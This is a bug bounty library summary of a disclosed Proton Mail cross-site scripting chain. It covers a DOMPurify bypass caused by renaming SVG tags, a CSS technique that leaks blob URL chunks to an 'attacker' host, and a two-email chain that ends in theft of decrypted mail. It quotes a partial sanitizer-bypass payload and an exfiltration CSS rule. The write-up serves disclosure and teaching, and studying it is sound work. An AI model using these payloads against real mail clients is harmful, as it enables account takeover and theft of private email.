# Code Vulnerabilities Put Proton Mails at Risk

Proton Mail renamed sanitized <svg> to <proton-svg>, flipping SVG to HTML parsing context; a crafted email bypassed DOMPurify, leaked a blob URL via CSS, and executed JS to steal decrypted emails.

- Payout: $750
- Severity: high
- Program: Proton Mail
- Credited: Paul Gerste
- Disclosed: 2023-09-04
- Write-up quality: 9/10
- Original: https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/
- Library page: https://bugbountylibrary.com/r/blog%3Asonarsource-com-blog-code-vulnerabilities-leak-emails-in-proton-mail
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high technique:chained technique:parser-differential technique:source-review vuln:misconfiguration vuln:xss

**Target:** Proton Mail web client email HTML sanitizer (DOMPurify wrapper)
**Root cause:** After DOMPurify sanitized SVG content in SVG context, the code renamed <svg> to <proton-svg>, which is not a known SVG tag, so the browser re-parsed the children in HTML context. A <style> element's raw-text termination then differed, exposing a hidden <img onerror> the sanitizer had not removed.
**Steps:**
1. Send email with `<svg><style><a title="</style><img src=x onerror=...>">` so sanitizer parses style content as SVG child <a> and keeps the onerror img hidden in the attribute.
2. Client renames <svg> to <proton-svg>; browser re-parses in HTML context, `</style>` closes the style, <img onerror> fires.
3. Include an inline attachment with content-type application/javascript referenced via cid: in an <img src>; client creates a blob: URL for it.
4. Embed CSS with `img[src*="abc"]{--abc:url(//attacker/abc)}` selectors for all 3-char UUID chunks plus a nested `cross-fade()` background-image referencing all vars, leaking the blob URL chunks to attacker server.
5. Attacker reconstructs blob URL, sends stage-2 email with `<script src="blob:...">` and a link; victim clicks (or Safari auto-executes due to allow-scripts).
6. Script runs in top window, reads decrypted emails, sends mail as victim, steals keys.
**How found:** Auditing email HTML sanitization logic, noticed post-sanitization code renaming <svg> to <proton-svg>. Recognized that renaming a foreign-content element to an unknown tag forces HTML re-parse, creating a parser differential with the sanitizer's SVG-context parse; then hunted for a payload whose meaning changes across contexts.
**Exploitation:** Two-email chain: stage 1 uses sanitizer bypass + JS attachment + CSS blob-URL leak; attacker server reconstructs blob URL from leaked 3-char chunks; stage 2 loads that blob as script src. Safari executes directly (allow-scripts in sandbox); other browsers require victim click on link that escapes sandbox via allow-popups-to-escape-sandbox, then script accesses top frame to exfiltrate decrypted mail and impersonate victim.
**Escalation:** Chained sanitizer bypass -> iframe sandbox escape (popup or Safari allow-scripts) -> CSP bypass via blob: script-src -> top-frame access for full account compromise.
**Insight:** Any post-sanitization DOM mutation that changes an element's namespace (e.g. renaming svg/math tags) re-parses children under different rules — look for sanitize-then-modify code and craft payloads whose <style>/<textarea> raw-text boundaries shift between SVG and HTML parsing.